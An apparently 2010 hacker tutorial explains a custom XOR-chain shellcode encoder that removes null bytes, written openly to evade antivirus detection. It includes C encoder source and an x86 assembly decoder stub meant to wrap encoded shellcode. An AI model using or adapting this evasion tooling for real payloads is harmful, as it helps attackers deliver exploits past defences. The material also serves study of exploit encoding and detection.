#Author:Jiten Pathy
#Date: 10 Apr 2010

#########Writing Custom Encoders with no null Bytes###########

Hello everyone.As i was learning to write encoders for shellcodes mostly to get around pesky antiviruses I thought to share my ideas.(As metasploit's encoders get detected by antiviruses)It is always important to know how to write custom encoders accrding to your situation.
Before Reading this matterial It is highly advised to read about shellcodes and encoders from good source like below:-
http://packetstormsecurity.org/papers/shellcode/exploit-writing-tutorial-part-9-win32-shellcoding.pdf(By c0relanc0d3r)
So In that matterial you must have a good idea about how encoders work.So basically encoders have 3 parts:-
1.Geteip part
2.decoder part
3.Encoded shellcode
The geteip method is very well explained in the previous tutorial using 3 different working methods.
But i use this method:-

```
 *   jmp tocall
 *   geteip:
 *   popl %ebx
 *   jmp decoder
 *   tocall:
 *   call geteip
 *   decoder:   ;decoder goes here
```

here in ebx we will get a pointer our decoder stub.Then we place our encoder which we should use from our own method .Here i will explain my encoder which has no null bytes and it removes any null bytes previously your shellcode has. So no need to scratch your head to find and replace alternative null free instructions.
First of all use the tool pveReadbin.pl perl script which would give you the shellcode and no of bytes it contains from your assembled binary file(I thought of converting that script to C but waste of time i guess but you can always write)
So the encoder works like this :-
suppose your shellcodes is
                                a   b   c   d
etc.........
then what this encoder does is xor the byte with previous output.....so it will be like........
                                a   a^b   a^b^c   a^b^c^d
etc........
NOW IF there are null byte lets say.....
 original:-   a   b   0   0   c
etc.......
then after encoding will look like................

```
                                a    a^b     a^b    a^b    a^b^c
etc......
```

So we can see that the same byte gets repeated.
But whatif output of previous xor and the current byte happens to be the same?????????then our method would produce a null byte in our shellcode which we dont want.For ex:-

```
                                        a    b    a^b  c   etc......
```

then after encoding it will be like.......

```
                                        a   a^b    0   c    etc.....
which
 gives a null byte sooo fail:(
```

To get around this I thought Whenever I get a null I will just repeat the previous byte instead of xoring ....
SO after new encoding ....

```
                                        a   a^b   a^b a^b^c etc...
                                                   ^Here Repeated Byte
instead of null
```

But this Has a problem Too..........Since 2 consecutive bytes happen to be the same now as of case of a null byte in your shellcode before encoding...........

```
Before encoding
                                   a     b         0       c
 After encoding
                                   a    a^b       a^b    a^b^c
Before encoding
                                   a     b        a^b     c
After encoding
                                   a    a^b       a^b    a^b^c
```

Your Decoder must be able to differentiate these two cases ....SO I thought that i will add one more byte to our enocded shellcode before repeated byte which i decided to be 2s complement of encoded byte which is after repeated pair. like........

```
                                   a   2s(a^b^c)  a^b     a^b  a^b^c
```

clearly it increase the length of the shellcode but as such situation is rare your shellcode will not have large change in length (hardly upto 5-7 bytes) Study The below code in C and you will get an in depth understanding......
    Now TO the Decoder side basically you have to xor back again to get the original shellcode except for the case of 2 consecutive same bytes...........

```
Encoded shellcode
                   a     a^b        a^b^c             a^b^c^d
Decoded     ,,
                  a^0   a^a^b    (a^b)^(a^b^c)   (a^b^c)^(a^b^c^d)
                   a      b            c                 d
```

Lets say You have a repeated byte case then what you have to do is just compare the byte with the byte after 2 bytes if equal then it is case of repeated byte else proceed as normal.

```
Encoded shellcode:-
                   a      2s(a^b^c)    a^b     a^b   a^b^c
```

Always check whether 2 bytes occuring after the current byte are same or not.....If they are then check current byte's 2s complement with the byte after 2 bytes for example in above case
for current==2s(a^b^c)

```
compare(a^b,a^b);
if (equal)
{
compare(2s(current),current+2);
  if(equal)
then ;decode part for repated byte
}
else normal decoding
```

Now To the decoded part of the repeated byte case:-

Replace 2s(a^b^c) with the next byte and decode normally i.e xor with a .Then keep the next byte same i.e. a^b.

Finally change the length back to the original shellcode's length.i.e for next byte onwards shift left the array.........To make the picture clear

```
Encoded shellcode:-
   a     2s(a^b^c)     a^b     a^b    a^b^c      d        e      f
etc........
Decoded    ,,
   a      a^(a^b)      a^b    a^b^c     d        e        f     etc.....
                        ^same    |
                         as      |
                         encoded |____
                                      |-->the bytes are shifted left
which cancels out
 the increase in length while encoding
```

Thereafter we proceed with normal decoding.........

Lets compare this situation with the null byte case(where 2 consecutive byte are same in encoded shellcode)

```
                     a               a^b         a^b        a^b^c
```

So our decoder checks if 2s(a)==a^b^c which happens 1 in 10000(I havent seen such a patent in shellcodes Readers are advised to find that pattern).so normal decoding happens.

```
 After Decoding      a               b           0           c
```

Here is my encoder:-

```
 *   #include<stdio.h>
 *   char shellcode[]={ //paste your shellcode here };
 *   int main()
 *   {
 *   unsigned char shell[600]="";
 *   int i=0;
 *   int j=i;
 *   int x,nc,nb;
 *   x=nc=nb=0;
 *   while(i<//NO OF BYTESIN SHELLCODE)
 *   {
 *   if(i==0)
 *   shell[0]=shellcode[0];
 *   else
 *   shell[j]=shell[j-1] ^ shellcode[i];
 *   if(shell[j]==shellcode[i+1])
 *   {
 *   shell[j+1]=shell[j+2]=shell[j];
 *   shell[j]= ~(shellcode[i+1] ^ shellcode[i+2]) + '\x01';
 *   i+=2;
 *   j+=3;
 *   }
 *   else
 *   {
 *   i++;
 *   j++;
 *   }
 *   }
 *   printf("\"");
 *   for(x=0;x<j;x++)
 *   {
 *   if(shell[x]=='\x00')
 *   nc++;
 *   nb++;
 *   printf("\\x%02x",shell[x]);
 *   }
 *   printf("\"\n");
 *   printf("no of null bytes=%d\n",nc);
 *   printf("no of bytes=%d\n",nb);
 *   return 0;
 *   }
```

And Here is Geteip+decoder stub(AT & T syntax didnt have nasm :( )

```
                    .text

.globl _start
_start:
jmp tocall
geteip:
popl %ebx
jmp decoder
tocall:
call geteip
decoder:
add $0x49,%bl     <---------length of decoder stub
xorl %ecx,%ecx
movw $299,%cx      <----------length of encoded shellcode;;;
xorb %dl,%dl
l1:
movb 0x1(%ebx),%al
cmp %al,0x2(%ebx)
jne l2
movb (%ebx),%al
not %al
inc %al
cmp %al,0x3(%ebx)
jne l2
movb 0x1(%ebx),%al
xorb %dl,%al
movb %al,(%ebx)
xorb (%ebx),%dl
inc %ebx
inc %ebx
dec %cx
```

```
 30. jz start
 31. dec %cx
 32. movw %cx,%ax
 33. push %ebx
 34. l4:
 35. mov 0x1(%ebx),%dh
 36. mov %dh,(%ebx)
 37. inc %ebx
 38. dec %ax
 39. jnz l4
 40. pop %ebx
 41. jmp l1
 42. l2:
 43. xorb %dl,(%ebx)
 44. xorb (%ebx),%dl
 45. l3:
 46. inc %ebx
 47. dec %cx
 48. jnz l1
 49. start:  ;;Place your encoded shellcode after this
```

Make changes to line 12 according to the length .If length of encoded shellcode is <=255 use %cl instead of %cx everywhere in decoder stub and change the length of decoder stub in line 10 .Disassemble it and form your
complete shellcode.

So that includes an idea to write custom almost generic shellcodes .Hope someone learnt something about encoding shellcodes.............;)